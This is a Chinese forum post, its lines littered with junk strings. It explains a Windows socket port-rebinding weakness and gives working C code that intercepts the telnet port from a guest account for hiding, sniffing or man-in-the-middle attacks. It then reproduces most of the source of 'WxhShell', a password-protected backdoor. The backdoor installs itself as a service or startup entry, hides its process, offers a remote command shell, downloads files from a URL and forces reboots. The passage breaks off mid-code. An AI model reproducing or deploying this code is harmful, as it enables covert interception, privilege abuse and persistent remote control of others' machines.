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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7yo|ie@S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Kh>?!` lL  
9m%7dsv  
  saddr.sin_family = AF_INET; e@='Q H  
Z}]:x `fXd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pA*D/P-  
zfk'>_'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =4YbVA+(  
j:3A;r\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]$*$0  
HY*l4QK  
  这意味着什么?意味着可以进行如下的攻击: *=($r%)  
~5-~q0Ge  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pP?<[ql[w  
*5ka.=Qs  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @C!JtgO%  
}`+O$0A  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n,C D4Nv  
l=Lmr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -0=}|$H.  
FCsyKdM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wxdh?sQ  
,apd3X%g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tXssejiE%  
$K=K?BV[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $#6 Fnhh}  
/ig^7+#  
  #include u!=]zW%  
  #include >=.ch5h3J)  
  #include {jj]K.&  
  #include    ~EM#Hc,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =Bcux8wA#6  
  int main() jldcvW  
  { yb@X*PW/z  
  WORD wVersionRequested; SL?%/$2g=O  
  DWORD ret; }'@tA")-)  
  WSADATA wsaData; *#X+Gngo  
  BOOL val; I v 80,hW  
  SOCKADDR_IN saddr; z|t.y.JX  
  SOCKADDR_IN scaddr; ;j[q?^ b  
  int err; 7)ES!C   
  SOCKET s; :X1`wBu  
  SOCKET sc; xEd#~`Jmr  
  int caddsize; mI{CM: :  
  HANDLE mt; .#:@cP~v  
  DWORD tid;   r9p?@P\:[  
  wVersionRequested = MAKEWORD( 2, 2 ); -o! saX<  
  err = WSAStartup( wVersionRequested, &wsaData ); 2c*VHIl;  
  if ( err != 0 ) { mvW^P`nB  
  printf("error!WSAStartup failed!\n"); MY0[Oq cm=  
  return -1; +oxqS&$L  
  } FvtM~[Q  
  saddr.sin_family = AF_INET; z9OMC$,V  
   K-g=td/@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &;uGIk>s  
VNOK>+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ijR-?nrR  
  saddr.sin_port = htons(23); ss|6_H =  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VC_3ll]vr  
  { ;&7qw69k  
  printf("error!socket failed!\n"); .{-iq(3  
  return -1; f"} 0j|Gg  
  } hs -}:^S`  
  val = TRUE; #U6/@l)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 93zlfLS0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DI2S %N l  
  { DcFV^8O&  
  printf("error!setsockopt failed!\n"); A ydy=sj  
  return -1; uMq\];7I  
  } 6 ^6uK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cSHtl<UY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t&p:vXF2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $yR{ZFo  
@eG#%6">  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^YB\\a9  
  { 6w .iEb  
  ret=GetLastError(); 0X}w[^f  
  printf("error!bind failed!\n"); !Cv<>_N).  
  return -1; Nt,]00S\w  
  } Q>+_W2~]  
  listen(s,2); hH|XtQ.n^  
  while(1) s]V{}bY`  
  { $yxIE}  
  caddsize = sizeof(scaddr); <)0LwkFtB  
  //接受连接请求 4^jZv$l5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p lz=G}Y  
  if(sc!=INVALID_SOCKET) U`vt/#j 1  
  { sov62wuqU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); = -a?oH-  
  if(mt==NULL) y+~Aw"J}  
  { \C'I l w  
  printf("Thread Creat Failed!\n"); JqH.QnKcv  
  break; 'KW+Rr~tZn  
  } 7u&H*e7  
  } a7 '\*  
  CloseHandle(mt); =fu_ Jau}  
  } 0^-b}  
  closesocket(s); iaq:5||,  
  WSACleanup(); ES:p^/=*  
  return 0; *^&iw$Qx3  
  }   36D,el In  
  DWORD WINAPI ClientThread(LPVOID lpParam) r:S5x.P2  
  { 5D q{"@E  
  SOCKET ss = (SOCKET)lpParam; r0XGGLFuZl  
  SOCKET sc; >=RHE@  
  unsigned char buf[4096]; ~A{[=v  
  SOCKADDR_IN saddr; K`AW?p^$Y  
  long num; ^,\se9=(  
  DWORD val; X#\P.$  
  DWORD ret; 0^tJX1L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [+[fD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h?O%XnD  
  saddr.sin_family = AF_INET; }e;p8)]Wl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nh_xbo5L[  
  saddr.sin_port = htons(23); 9i xnf=$Jp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G#=b6DB  
  { S3[oA&  
  printf("error!socket failed!\n"); wE=8jl*  
  return -1; #IciNCIrG  
  } 3ks|  
  val = 100; hc~#l#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +\]S<T*;  
  { )7BNzj"~  
  ret = GetLastError(); i\c^h;wX  
  return -1; ]`+"o[  
  } ?2 O-EiWjZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U S~JLJI  
  { A_dYN?^?|  
  ret = GetLastError(); Tu T=  
  return -1; 1,sO =p)Yg  
  } m0K2p~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uc `rt"  
  { ieK'<%dxF  
  printf("error!socket connect failed!\n"); ]&%X(jWyn  
  closesocket(sc); pz z`4VS:  
  closesocket(ss);  6-E4)0\  
  return -1; sRI=TE]s  
  } m_Y}>  
  while(1) |@uhq>&  
  { Hwi7oXP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :Y&W)V-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?_`P;}4#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v,O&UrZ  
  num = recv(ss,buf,4096,0); 4iB)oR  
  if(num>0) 3_['[}  
  send(sc,buf,num,0); UHm+5%ZC  
  else if(num==0) L&F\"q9q71  
  break; ;@$," P  
  num = recv(sc,buf,4096,0); nHL>}Yg  
  if(num>0) ^*T{-U'  
  send(ss,buf,num,0); B=qRZA!DQ?  
  else if(num==0) AF nl t  
  break; REe%>|   
  } @ F"ShT0  
  closesocket(ss); (%^TTe  
  closesocket(sc); z j0pP{y  
  return 0 ; ?>Ci`XlLr  
  } w2_I/s6B  
>5Rw~  
3R96;d;  
========================================================== dXSb%ho  
2T?1X{g  
下边附上一个代码,,WXhSHELL bqLYF[#T  
; yC`5  
========================================================== }z%/6`7)|  
TEy.zzt  
#include "stdafx.h" k-p7Y@`+a  
VHkrPJ[  
#include <stdio.h> 5^R#e(mr  
#include <string.h> +R jD\6bJb  
#include <windows.h> 6O?Sr,  
#include <winsock2.h> UEb'E;  
#include <winsvc.h> L ~' N6  
#include <urlmon.h> p~ VW3u]  
Q14;G<l-  
#pragma comment (lib, "Ws2_32.lib") I.0Usa"z  
#pragma comment (lib, "urlmon.lib") =cX"gI[  
^ C#bW <T  
#define MAX_USER   100 // 最大客户端连接数 'g, x}6  
#define BUF_SOCK   200 // sock buffer P=hf/jOv9  
#define KEY_BUFF   255 // 输入 buffer gf8U &;  
@G&xq "Fg7  
#define REBOOT     0   // 重启 9!<3qx/  
#define SHUTDOWN   1   // 关机 3). c [F^l  
IOsDVIXL\  
#define DEF_PORT   5000 // 监听端口 t ,Rn  
"pJ EzC  
#define REG_LEN     16   // 注册表键长度 N>#P 1!eP  
#define SVC_LEN     80   // NT服务名长度 iV$75Atk  
Cl){sP=8W  
// 从dll定义API Yl3PZ*#@ Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CF 0IP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /-9+(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "PP0PL^5F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hndRg Co  
bGLp0\0[  
// wxhshell配置信息 >.sN?5}y  
struct WSCFG { ?v*7!2;  
  int ws_port;         // 监听端口 4C*=8oe_  
  char ws_passstr[REG_LEN]; // 口令 Z4tq&^ :c=  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q/SC7R&"t  
  char ws_regname[REG_LEN]; // 注册表键名 6R,b 8  
  char ws_svcname[REG_LEN]; // 服务名 YuuG:Kk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "+C\f)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y^fU_L?p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sX?7`n1U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UjK&`a ;V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^d=@RTyo/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Jm^jz  
nf^k3QS\  
}; t|,Ex7  
e;Z`&  
// default Wxhshell configuration + opN\`  
struct WSCFG wscfg={DEF_PORT, 9`VF [* 9  
    "xuhuanlingzhe", '%7]xp  
    1, {Z;GNMO:  
    "Wxhshell", jCa;g{#@  
    "Wxhshell", ,3[<C)'[  
            "WxhShell Service", 2fA9L _:0  
    "Wrsky Windows CmdShell Service", `)P_X4e]`  
    "Please Input Your Password: ", TniKH( w/  
  1, `cRB!w=KHV  
  "http://www.wrsky.com/wxhshell.exe", T`G"2|ISS  
  "Wxhshell.exe" L-TVe  
    }; 'Z9F0l"Nr  
I=-;*3g6  
// 消息定义模块 73<yrBxp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sM_e_e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oVgNG!/c0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }# ^Pb M  
char *msg_ws_ext="\n\rExit."; (!=aRC.-  
char *msg_ws_end="\n\rQuit."; nA j2k  
char *msg_ws_boot="\n\rReboot..."; +Enff0 =+  
char *msg_ws_poff="\n\rShutdown..."; Bbp9Q,4  
char *msg_ws_down="\n\rSave to "; bS"M*  
{NDe9V5  
char *msg_ws_err="\n\rErr!"; h0pr"]sO;$  
char *msg_ws_ok="\n\rOK!"; S?tLIi/  
Ku'U^=bVm:  
char ExeFile[MAX_PATH]; Wuz~$SU  
int nUser = 0; 8hA=$}y&x  
HANDLE handles[MAX_USER]; ApBThW *E  
int OsIsNt; ?V)6`St#C  
k,(_R=  
SERVICE_STATUS       serviceStatus; 2"^9t1C2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k"c_x*f  
F4{<;4N0  
// 函数声明 &d;$k  
int Install(void); y?hW#l~#X  
int Uninstall(void); {HDlv[O%  
int DownloadFile(char *sURL, SOCKET wsh); z#/*LP#oY  
int Boot(int flag); c^k. <EA  
void HideProc(void); -qF|Y f  
int GetOsVer(void); rpWy 6oD  
int Wxhshell(SOCKET wsl); #+\G- =-  
void TalkWithClient(void *cs); 9mm(?O~'p  
int CmdShell(SOCKET sock); `7ZJB$7D|*  
int StartFromService(void); ?8/h3xV;  
int StartWxhshell(LPSTR lpCmdLine); _\[G7  
,oil}N(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /L^dHI]Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }5U f`pM8  
6Fb~`J~s  
// 数据结构和表定义 dG+xr!  
SERVICE_TABLE_ENTRY DispatchTable[] = *@^0xz{\z  
{ zBfBYhS-  
{wscfg.ws_svcname, NTServiceMain}, TQH#sx  
{NULL, NULL} +Eg# 8/q  
}; * vD<6qf  
P!EX;+7+x  
// 自我安装 g7-K62bb  
int Install(void) ^Quy64M  
{ RJD3o_("K  
  char svExeFile[MAX_PATH]; U4JN,`p{  
  HKEY key; ] fB{  
  strcpy(svExeFile,ExeFile); GAKJc\o  
<rs]@J'p  
// 如果是win9x系统,修改注册表设为自启动 ks$G6WC  
if(!OsIsNt) { P $S P4F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IF1}}[Ht  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k"$V O+}m  
  RegCloseKey(key); 9~yuyv4$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r MlNp?{_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K%;yFEZ  
  RegCloseKey(key); 7O#>N}|  
  return 0; tHeLq*))  
    } >wwEa4   
  } 5JXLfYTUI  
} (WvA9s{/  
else { aT#|mk=\  
0 M?}S~p]  
// 如果是NT以上系统,安装为系统服务 ><~hOK?v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I5]zOKlVR  
if (schSCManager!=0) w0iE x1i  
{ rB]/N,R   
  SC_HANDLE schService = CreateService u.6%n. g  
  ( {'%=tJ[YX  
  schSCManager, TF>F7v(,45  
  wscfg.ws_svcname, da@ .J9  
  wscfg.ws_svcdisp, v#xF;@G  
  SERVICE_ALL_ACCESS, om6R/K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,fn=%tiUk  
  SERVICE_AUTO_START, }=gGs  
  SERVICE_ERROR_NORMAL, <*P1Sd.  
  svExeFile, O/Vue  
  NULL, "/5b3^a  
  NULL, XJ9>a-{  
  NULL, FceT'  
  NULL, 6%-2G@6d  
  NULL ,")7uMZaF\  
  ); g=Lt 2UIJ  
  if (schService!=0) ]Ea-?IhD  
  { OgX."pK  
  CloseServiceHandle(schService); G)Y!aX  
  CloseServiceHandle(schSCManager); _[W=1bGJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :nI.Qa'"H  
  strcat(svExeFile,wscfg.ws_svcname); )<d8yLb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S5JnJkNn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K9R[ oB]b  
  RegCloseKey(key); @Klj!2cv$  
  return 0; mwxJ#  
    } xlAaIo)T  
  } `F#KXk  
  CloseServiceHandle(schSCManager); H@zpw1fH+  
} U!4 ^;  
} /_P`xm+=AC  
Tb^9J7]  
return 1; \]K-<&f  
} Zh@\+1]  
f+ &yc'[  
// 自我卸载 |@RO&F  
int Uninstall(void) 2k_Bo~.  
{ sdLFBiR  
  HKEY key; >:=TS"}yS}  
2r,fF<WQ  
if(!OsIsNt) { 15COwc*k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?4_;9MkN  
  RegDeleteValue(key,wscfg.ws_regname); _[ x(p6Xp  
  RegCloseKey(key); 8'y|cF%U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qF ?S[Z;  
  RegDeleteValue(key,wscfg.ws_regname); < qBPN{'a"  
  RegCloseKey(key); dZ*o H#B  
  return 0; LBg#KQ @  
  } )lbF'.i  
} pmC@ fB  
} vd~O:=)4  
else { x{m)I <.:  
-}%zus5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  Po5}Vh  
if (schSCManager!=0) L>B0%TP^  
{ GCrN:+E0FJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N`M5`=.  
  if (schService!=0) x K/`XY  
  { &("?6%GC  
  if(DeleteService(schService)!=0) { &7 ,wdG  
  CloseServiceHandle(schService); T*oH tpFj#  
  CloseServiceHandle(schSCManager); aD4ln]sFxG  
  return 0; #r1x0s40D  
  } gU`QW_{  
  CloseServiceHandle(schService); 9} vWTt0  
  } q9OIw1xQr*  
  CloseServiceHandle(schSCManager); k@w&$M{tPF  
} E^g6,Y:i9  
} #\}hN~@F  
tQ/U'Ap&  
return 1; er53?z7zP.  
} t/3veDh@  
"783F:mPh  
// 从指定url下载文件 C oaqi`v4T  
int DownloadFile(char *sURL, SOCKET wsh) 2dC)%]aLme  
{ |k8;[+  
  HRESULT hr; v#~,)-D&  
char seps[]= "/"; ' |4XyU=  
char *token; H Q2-20  
char *file; VAq:q8(K  
char myURL[MAX_PATH]; * 08LW|:,  
char myFILE[MAX_PATH]; /F\7_  
p'H5yg3h  
strcpy(myURL,sURL); 8w{V[@QLn  
  token=strtok(myURL,seps); xe5>)\18-  
  while(token!=NULL) U}UIbJD*=  
  { ?f%@8%px  
    file=token; (k[<>$hL*  
  token=strtok(NULL,seps); eN/Jb;W  
  } @-hy:th#  
h.67] U7m  
GetCurrentDirectory(MAX_PATH,myFILE); 4EOu)#  
strcat(myFILE, "\\");  9( m^^  
strcat(myFILE, file); &?~> I[^~  
  send(wsh,myFILE,strlen(myFILE),0); -/h$Yb  
send(wsh,"...",3,0); , 7}Ri  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4F'@yi^Gt  
  if(hr==S_OK) zR e0z2  
return 0; +Y .As  
else ;G w5gK^  
return 1; 9Vp$A$7M  
}>grGr%oR  
} pD){K  
dZZHk  
// 系统电源模块 &B))3WFy  
int Boot(int flag) UPbG_ #"wZ  
{ 2+|[e_  
  HANDLE hToken; 6ds&n#n  
  TOKEN_PRIVILEGES tkp; m^TkFt<BM  
;$W|FpR2  
  if(OsIsNt) { +ux,cx.U"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (j2]:B Vu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7Q^t(  
    tkp.PrivilegeCount = 1; vZ*5 93C8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -q-%)f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z rvb %  
if(flag==REBOOT) { 9;:Lf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xEbcF+@  
  return 0; ^fRA$t  
} AR&u9Y)I  
else { ^.k}YSWut  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Jr#ptf"Wu  
  return 0; zg)]:  
} $PNR?  
  } Wt_@ vs@.O  
  else { d=q2Or   
if(flag==REBOOT) { 6Z7{|B5}Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :g][99  
  return 0; 0Tq6\:  
} 3Y>!e#  
else { ETYw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O%rjY  
  return 0; htIV`_<Ro  
} Cfa?LgSz  
} KpSHf9!&[  
Y@Ty_j~  
return 1; [7$.)}Q-  
} '#^ONnSTn  
~]}7|VN.}  
// win9x进程隐藏模块 PE3l2kr  
void HideProc(void) mhh8<BI  
{ x#'# ~EO-G  
 /I="+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M,NYF`;a  
  if ( hKernel != NULL ) ZE4~rq/W  
  { mlX^5h'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Fz-Bd*uS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j:rGFd  
    FreeLibrary(hKernel); $ -;,O8yR  
  } 5r@x$*>e  
"(/.3`g  
return; )| 3?7?X  
} =! /S |  
Ow<=K:^  
// 获取操作系统版本 $5:j" )$,  
int GetOsVer(void) waldLb>7D  
{ 98G>I(Cw%  
  OSVERSIONINFO winfo; Hj LY\.S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L= hPu#&/  
  GetVersionEx(&winfo); @MTm8E6au  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zuXJf+]  
  return 1; UP^{'eh  
  else }~yhkt5K  
  return 0; _z~|*7@  
} A@+pvC&  
.X TBy/(0  
// 客户端句柄模块 ?~hC.5  
int Wxhshell(SOCKET wsl)  GVe[)R  
{ BG/M3  
  SOCKET wsh; j$siCsF  
  struct sockaddr_in client; eNpGa0 eG  
  DWORD myID; Y0 Ta&TYZ0  
*e!0ZB3J  
  while(nUser<MAX_USER) Js ~_8  
{ qf7 lQovK  
  int nSize=sizeof(client); o{lR_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g7rn|<6FI  
  if(wsh==INVALID_SOCKET) return 1; DhYQ>Gv8U  
`VwZDU~6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i_Ab0vye  
if(handles[nUser]==0) w>J|416  
  closesocket(wsh); ):31!IC  
else gYw4YP0Gz  
  nUser++; z`y!C3w<  
  } k9xfv@v}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wyd,7]'z)Z  
cE$7CSR  
  return 0; 0ERA(=w5  
} QGs\af  
-xPv]j$  
// 关闭 socket 1!~=8FTv  
void CloseIt(SOCKET wsh) e3}`]  
{ V*"-@  
closesocket(wsh); :'|%~&J  
nUser--; F$F,I,$ "  
ExitThread(0); ?I6!m~  
} \ym3YwP4/:  
&;DK^ta*P  
// 客户端请求句柄 !8(: G6Ne  
void TalkWithClient(void *cs) 9{]U6A*K0w  
{ vlY83mU.  
8XIG<Nc  
  SOCKET wsh=(SOCKET)cs; &Rdg07e;>  
  char pwd[SVC_LEN]; gi#bU  
  char cmd[KEY_BUFF]; UOC>H%r~M?  
char chr[1]; [W;iR_7T5  
int i,j; tN&4t xB  
Ru9QQaHE  
  while (nUser < MAX_USER) { _8P0iC8Zg#  
aEM2xrhy,  
if(wscfg.ws_passstr) { P>j^w#$n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6 GqR]KD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y@Z@ eK3  
  //ZeroMemory(pwd,KEY_BUFF); " N>~]  
      i=0; D,b'1=  
  while(i<SVC_LEN) { 3copJS  
dZ K /v  
  // 设置超时 -fKo~\Pr  
  fd_set FdRead; F9IrbLS9c  
  struct timeval TimeOut; 7u73v+9qn:  
  FD_ZERO(&FdRead); |WwC@3)  
  FD_SET(wsh,&FdRead); F!(Vg  
  TimeOut.tv_sec=8; R OsR;C0!  
  TimeOut.tv_usec=0; H]As2$[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8w /$!9[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W;!OxOWZJ  
0N>NX?r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0h=NbLr|S-  
  pwd=chr[0]; 0}H7Xdkp  
  if(chr[0]==0xd || chr[0]==0xa) { c&me=WD  
  pwd=0; z-ns@y(f@X  
  break; &m[ZpJ9  
  } ^,O%E;g^#  
  i++; +?y ', Ir  
    } X?whyD)vE@  
2t 7':X  
  // 如果是非法用户,关闭 socket XT+V> H I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 89hV{^  
} VZF;  
n.is+2t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a8nqzuI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]t0]fb[J  
tZ\e:AAi  
while(1) { c@f?0|66M  
%n?&#_G|  
  ZeroMemory(cmd,KEY_BUFF); ;GQCq@)-  
0+S ;0  
      // 自动支持客户端 telnet标准   lgrD~Y (x  
  j=0; )<YfLDgTs  
  while(j<KEY_BUFF) { 6.5E d-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s R/z)U_  
  cmd[j]=chr[0]; V9`?s0nn^  
  if(chr[0]==0xa || chr[0]==0xd) { ./5LV)_`  
  cmd[j]=0; hNU$a?eVpR  
  break; D]tI's1  
  } P! cfe@;<4  
  j++; WAq! _xE  
    } u-</G-y  
wH]5VltUT1  
  // 下载文件 Z?JR6;@W  
  if(strstr(cmd,"http://")) { "xWrYq'"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (:er~Y}  
  if(DownloadFile(cmd,wsh)) lC.Q61J@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dbga >j  
  else xB4}9zN s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wdk]>w 'L  
  } VN3 [B eH  
  else { ^5E:hW [*  
~t+T5`K  
    switch(cmd[0]) { aFw \ w>*^  
  kB[l6`  
  // 帮助 pYN.tD FO  
  case '?': { h4ozwVA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q&5s,)w-  
    break; !#y_vz9  
  } +-X 6 8`  
  // 安装 x&p.-Fi  
  case 'i': { ]C'^&:&<  
    if(Install()) <S ae:m4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tfq7<<0$N  
    else Uv)B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7m$EZTw?  
    break; Z1}@N/>>  
    } )WNw0cV}J>  
  // 卸载 M "\Iw'5$  
  case 'r': { {"PIS&]tR  
    if(Uninstall()) 3s\}|LqX#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;SgPF:T>Q  
    else t1`.M$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1S+lHG92I  
    break; ]Z IreI  
    } +7 \"^D  
  // 显示 wxhshell 所在路径 *Z8qd{.$q  
  case 'p': { 0?o<cC1Z  
    char svExeFile[MAX_PATH]; P9 w);jp;  
    strcpy(svExeFile,"\n\r"); sEymwpm9  
      strcat(svExeFile,ExeFile); YMn*i<m  
        send(wsh,svExeFile,strlen(svExeFile),0); [CG3&J  
    break; b^:frjaE3  
    } ^]5^p9Jt"e  
  // 重启 k3+LP7|*  
  case 'b': { {nPiIPH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1'B&e)  
    if(Boot(REBOOT)) I:6H65(&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `O0bba=:=  
    else { SPT?Tt  
    closesocket(wsh); W" Tj.oCUG  
    ExitThread(0); #=V\WQb  
    } :u]QEZ@@  
    break; ;#bDz}|\AN  
